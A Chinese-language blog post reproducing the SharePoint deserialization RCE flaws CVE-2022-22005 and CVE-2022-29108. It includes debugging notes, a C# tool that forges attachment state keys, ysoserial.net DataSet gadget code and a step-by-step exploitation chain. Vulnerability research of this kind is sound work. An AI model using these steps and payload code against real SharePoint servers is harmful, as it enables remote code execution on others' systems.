CVE-2022-22005 CVE-2022-29108 漏洞复现

CVE-2022-22005 CVE-2022-29108 漏洞复现

简介

CVE-2022-22005CVE-2022-29108都是BinaryFormatter.Deserialize()时候没对需要反序列化的内容类型进行设置,从而导致反序列化漏洞

环境配置

环境配置踩了很多坑

InfoPath

InfoPathSharePoint Server相连时(使用InfoPath Designer,选择SharePoint List

  1. SharePoint Server需要是企业版,一开始并没找到在哪里升级企业版,就重装了一个(简直是折磨),后面发现在管理中心-升级和迁移地方可以直接升级
  2. 输入SharePoint site的地址时,不能用IP地址,必须要用域名(这里也卡了好久)(我这里是在http://sp2019//下创建了一个网站集,所以才是下图样子)
    InfoPath Designer SharePoint site
  3. 这里登录时,只需要用用户名即可,不用加林的名字(例如我的是vangelis,不能用vangelis@sp.com.cn),也不用加域的名字(例如不用加SP\在前面)
  4. 添加一个SharePoint List之后,需要Publish,在左上角,这个只是上传一个模板,并不是在这里进行attach file
    InfoPath Design SharePoint List Publish

SharePoint Server

最开始直接打开SharePoint Listtest,进行新建时,显示如下页面

Share Point State Service

就是这个服务没开启,我配置的时候,也没找到地方开,因此直接用管理中心的配置导向,启用服务器场配置导向,在默认配置的时候进行State Service的开启

注:我这里并未开启自助创建站点Self-Service Site Creation的特性,跟cve-2022-29108,不太一致

Debug

调试环境,我最开始用的Visual Studio 2022进行调试,但是这个调试,并不能跟到BinaryFormatter.Deserialize()的内部实现,最后发现还是2020年就不再更新的dnSpy还是最好用的
使用,attach的进程是w3wp.exe(选择其中端口开在80的),我调试时的w3wp.exeCommand Line如下

c:\windows\system32\inetsrv\w3wp.exe -ap "SharePoint - 80" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iisipm564fe27d-58a0-4dbf-ba0b-dfa28df62bb2 -h "C:\inetpub\temp\apppools\SharePoint - 80\SharePoint - 80.config" -w "" -m 0

attach进程之后,要点全部中断之后对于加载的模块进行查看核心的dll,对其进行反编译,然后下断点

漏洞

2022年01月的Microsoft.Office.Server.Chart.dll中的loadChartImage()如下,其并未对于通过sessionKey获取的内存进行反序列化检测

2022-01 loadChartImage

而在2022年02月的Microsoft.Office.Server.Chart.dll中的loadChartImage(),进行了类型绑定

2022-02 loadChartImage

exp思路

sessionKey 来源

sessionKey是由sk这个参数输入而来

sessionKey

FetchBinaryDaTa主要是解析key,然后从数据库中获取statekey对应的内容

public static byte[] FetchBinaryData(string key)
{
    StateKey key2 = StateKey.ParseKey(key);
    return StateManager.Current.PeekState(key2);
}

其中g是数据库的id,而g2是数据库中需要取得内容的key

ParseKey

顺着这个思路很容易想到,应该想办法把一个可以导致反序列化攻击的内容存储到数据库中

根据 ZDI cve-2021-27076 的重播攻击,可以知道通过InfoPath附件上传的方式,可以使得附件的内容存储到数据库中,从而最后传播到反序列漏洞的位置

在此顺便记录一下cve-2022-29108的传参,其pkok会拼接达到之前的sessionKey的效果,ot需要设置为chartcsksk一致

Chart-CustomSessionStateKey

InfoPath 附件上传

总流程简介

其主要流程如下(借用了 cve-2022-29108 的图)

InfoPath-UploadFile

最终得到的attachment id才是我们需要的key

细节

newifs.aspx

首先在SharePoint Server通过InfoPath创建一个SharePoint List,然后在SharePoint List新建,上传一个附件,并驻留在此处

attachFile

Burpsuite后台抓包时,可以看到一个对于newifs.apxPOST请求的包(当然,在这个POST请求之前也有个GET请求的包,在尝试写脚本的自动化利用时,发现POST请求的大部分的内容均来源自这个GET请求的RESPONSE),这个POST包中存在两个重要的值,一个是_InfoPath_CanaryValue(在POST包中),一个是DBguid1_guid2(称其为itemId)(在RESPONSE包中,通过上传的文件名可以搜到)

newifs

这个动作对应的是Microsoft.Office.InfoPath.Server.dll

namespace Microsoft.Office.InfoPath.Server.DocumentLifetime
class Document
internal static Document LoadFromSession(HttpContext context, SPSite contextSite, EventLogStart eventLogStart, Solution solution)

在调试LoadFromSession时,可以看到其document对象的EditingSessionId就是请求的返回中的itemId


这个时候,我产生了一个文件这个itemId不能直接用在key的那个反序列化漏洞上吗?我将这个传入sk,发现其取出来的内存如下,这个itemId只是那个上传文件对应动作的一些记录,并不是对应那个文件的内容,并且可以注意到这个itemId存储的东西里面最后0x20c7a602c3c的位置存在一个stateKey,这个就是上传文件的StateKey

itemId-MemoryBuffer

同样也可以在Microsoft.Office.Server.dll中下断点

namespace Microsoft.Office.Server.Administration
internal sealed class StateKey
public static StateKey GenerateKey()

可以看到首先在SharePoint List生成的页面test中点新建时,会创建一个Document对象,并生成其对应的StateKey,这个StateKey其实就是itemId,其调用路径是从Microsoft.office.InfoPath.Server.DocumentLifetime.Document.GetNewEditingSessionId()而来

Document-GenerateKey

attachFile之后,同样会断到GenerateKey(),其调用路径是从Microsoft.Office.InfoPath.Server.DocumentLifetime.EventShartePointFileAttachmentAdd()而来,最终会存到doc.ChildStateKeys中,我们后续也是为了把这个ChildStateKeys中的文件的StateKey给获取出来

Document-ChildStateKeys


formserverattachments.aspx

然后,他们找到了一个文件下载的接口,在这个接口中传入这个itemId的值,可以最终得到此Document里面所有内容,同样可以得到这个里面的ChildStateKeys里面的值,感觉按照正常功能而言,应该传入一个上传的文件的StateKey,得到这个文件的内容,这里用了重播的攻击方式a replay-style attack

这个对应的接口是FormServerAttachments.aspx,对应是Microsoft.Office.InfoPath.Server.dll

namespace Microsoft.Office.InfoPath.Server.Controls
class FormServerAttachments
protected internal override void ProcessRequestInternal(HttpContext context)

(P.S 这里的public class FormServerAttachments : ProcessRequestPageBase, IHttpHandler, IRequiresCultureInfo,子类继承IHttpHandlerProcessRequestInternal方法的继承均是很标准的ASP.NET处理GET/POST请求的写法)

FileDownload接口中,可以看到主要有以下几个关心的参数fidsidkeydl

FormServerAttachments FileDownload

  • 对于fid基本没要求,只要求非空,将其设置为1即可

  • 对于sid,在VerifyCanaryFromCookie中可以看到是查询_InfoPath_CanaryValue是否正确,在对newifs.aspx进行POST的时候可以看到_InfoPath_CanaryValue后跟的值

Canary VerifyCanaryFromCookie

  • 对于key要求比较多
    • 首先在32行,通过DeserializeObjectsFromString进行base64解码
    • 再在34行,通过Base64DataItem进行,获取_state(类型为Base64ItemState)、_sessionDataType(类型为DataTypeInSessionState)、_itemId(类型为Base64SerializationId
    • 然后在36行,通过DocumentChildState.StateInfo.Deserialize获取_serializeKey(类型为String)、_size(类型为int)、_version(类型为int
      • EnsureData中,可知_state应为Base64ItemState.DelayLoad(枚举类型,值为4)
      • SetSessionData中,可知_sessionDataType应为Base64DataStorage.Base64DataItem.DataTypeInSessionState.ByteArray(枚举类型,值为2)
      • _serializeKey应该为DocumenteditingSessionId
      • 其余并无要求

Base64DataItem
DocumentChildState-Deserialize
EnsureData-SetSessionData

  • 对于dl,在第11行和第51行,要求其值应该为ip才能走到FileAttachment.ReadInfoFromStream,这样才能把取出来的dataAsBytes作为文件附件下载下来
using System.IO;
using System.Text;
using System.Runtime.Serialization.Formatters.Binary;
using ConsoleApp1;

internal enum Base64ItemState
{
    NoChange,
    Updated,
    Removed,
    New,
    DelayLoad
}

internal enum DataTypeInSessionState
{
    Unknown,
    Utf8String,
    ByteArray
}

class Program
{
    public static string Base64Encode(string plainText)
    {
        var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText);
        return System.Convert.ToBase64String(plainTextBytes);
    }

    static void Main()
    {
        // 4
        Base64ItemState _state = Base64ItemState.DelayLoad;
        // 2
        DataTypeInSessionState _sessionDataType = DataTypeInSessionState.ByteArray;
        // _itermId : writer.Write(this.+_id.ToString)
        String _itemId = "ce21726d-43ff-41a3-9204-981a19e75827";
        String _serializedKey = "47b652a1843a427d9528e8ebe3f858d3_129790e9056046b2b93cf003c1788d6a";
        int _size = 1024;
        int _version = 69;
        
        MemoryStream memStream = new MemoryStream();
        // using (BinaryWriter writer = new BinaryWriter(File.Open("createKey.txt", FileMode.Create)))
        using (BinaryWriter writer = new BinaryWriter(memStream))
        {
            writer.Write7BitEncodedInt((byte)_state);
            writer.Write7BitEncodedInt((byte)_sessionDataType);
            writer.Write(_itemId);
            writer.Write(_serializedKey);
            writer.Write7BitEncodedInt(_size);
            writer.Write7BitEncodedInt(_version);
        }

        Console.WriteLine(Convert.ToBase64String(memStream.ToArray()));
        Console.WriteLine("Success");
    }
}

BinaryFormatter 反序列化的利用

一开始用的ysoserial.netBinaryFormatterDataSetPOP链,但是一直不能弹计算器,不知道为什么,重搭了挺多次环境,以及尝试安装补丁的,最后还是深入了解了DataSetPOP链以及定位到出错原因,查询资料,最后才在mr_me 的 CVE-2020-1147找到了答案

在此同时记录一下DataSet的POP链的构造

DataSet 的POP链

借用先知一篇DataSet的分析

[Serializable]
public class DataSetMarshal : ISerializable
{
    byte[] _fakeTable;

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(System.Data.DataSet));
        info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
        info.AddValue("DataSet.DataSetName", "");
        info.AddValue("DataSet.Namespace", "");
        info.AddValue("DataSet.Prefix", "");
        info.AddValue("DataSet.CaseSensitive", false);
        info.AddValue("DataSet.LocaleLCID", 0x409);
        info.AddValue("DataSet.EnforceConstraints", false);
        info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
        info.AddValue("DataSet.Tables.Count", 1);
        info.AddValue("DataSet.Tables_0", _fakeTable);
    }

    public void SetFakeTable(byte[] bfPayload)
    {
        _fakeTable = bfPayload;
    }

    public DataSetMarshal(byte[] bfPayload)
    {
        SetFakeTable(bfPayload);
    }

    public DataSetMarshal(object fakeTable):this(fakeTable, new InputArgs())
    {
        // This won't use anything we might have defined in ysoserial.net BinaryFormatter process (such as minification)
    }

    public DataSetMarshal(object fakeTable, InputArgs inputArgs)
    {
        MemoryStream stm = new MemoryStream();
        if (inputArgs.Minify)
        {
            ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter();
            fmtLocal.Serialize(stm, fakeTable);
        }
        else
        {
            BinaryFormatter fmt = new BinaryFormatter();
            fmt.Serialize(stm, fakeTable);
        }

        SetFakeTable(stm.ToArray());
    }

    public DataSetMarshal(MemoryStream ms)
    {
        SetFakeTable(ms.ToArray());
    }
}

public class DataSetGenerator:GenericGenerator
{
    public override object Generate(string formatter, InputArgs inputArgs)
    {

        byte[] init_payload = (byte[]) new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);

        DataSetMarshal payloadDataSetMarshal = new DataSetMarshal(init_payload);

        if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)
            || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)
            || formatter.Equals("soapformatter", StringComparison.OrdinalIgnoreCase))
        { 
            return Serialize(payloadDataSetMarshal, formatter, inputArgs);
        }
        else
        {
            throw new Exception("Formatter not supported");
        }
    }
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
    protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
    {

    }

    string _xaml;
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        Type typeTFRP = typeof(TextFormattingRunProperties);
        info.SetType(typeTFRP);
        info.AddValue("ForegroundBrush", _xaml);            
    }
    public TextFormattingRunPropertiesMarshal(string xaml)
    {
        _xaml = xaml;
    }
}

我个人调试的时候的理解是,对于DataSet中一些属性进行设置了值,比如DataSet.RemotingFormat必须要设置为System.Data.SerializationFormat.BinaryDataSet.Tables.Count设置为1DataSet.Tables_0设置为_fakeTable,其他值的设置是为了能顺利走到remotingFormatDeserialize()位置

remotingFormat

最后在反序列的时候,中间嵌套一个xml,然后在ParseLoad的过程中直接触发RCE

TextFormattingRunProperties

XamlReader-Load

但是在调试的时候,会发现,怎么样都不能过去EventTrace.EasyTraceEvent这句

EventTrace

然后可以发现其异常的原因如下,其对应的英文为The type initializer for 'MS.Utility.EventTrace' threw an exception.

最后在犄角旮旯的上述列举的博客中找到,这个进程不能访问某注册表,因为这个IIS服务器是模拟着IUSR账户的权限的

You cannot use the XamlReader.Load static method because the IIS webserver is impersonating as the IUSR account and that account has limited access to the registry.

所以不能使用任何包含XamlReader.LoadPOP链的Gadget,因此我选择使用TypeConfuseDelegate最后可以成功弹出计算器

注:这里不确定会不会存在cmd生成和powershell生成不一致以及.NET Framework版本跟打的版本不一致的问题,我最后是用cmd生成的

综上

整体的漏洞利用流程

  1. 利用InfoPathSharePoint Server企业版创建一个SharePoint List
  2. SharePoint List中新建,并上传可以导致反序列利用的文件,并驻留在该页面,以会话的形式保存数据库中
  3. 利用newifs.aspx请求得到的_InfoPath_CanaryValueDocumenteditingSessionIdformserverattachments.aspx发送请求,假装下载文件,实则获取会话中的可以导致反序列利用的文件对应的StateKey
  4. 将该StateKey传入可以被攻击的aspx中,CVE-2022-22005是用的ChartPreviewImage.aspx,其参数为sk;CVE-2022-29108也用的是ChartPreviewImage.aspx,其参数为pkotokcskpk为其DBguid_otchartokFileguidcsksk一致)

参考

https://www.zerodayinitiative.com/blog/2021/3/17/cve-2021-27076-a-replay-style-deserialization-attack-against-sharepoint
https://hnd3884.github.io/posts/cve-2022-22005-microsoft-sharepoint-RCE
https://www.starlabs.sg/blog/2022/05-new-wine-in-old-bottle-microsoft-sharepoint-post-auth-deserialization-rce-cve-2022-29108/
https://xz.aliyun.com/t/9593
https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
https://mp.weixin.qq.com/s/2IbSrLcjiqo1a6RF9-v3Yg


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!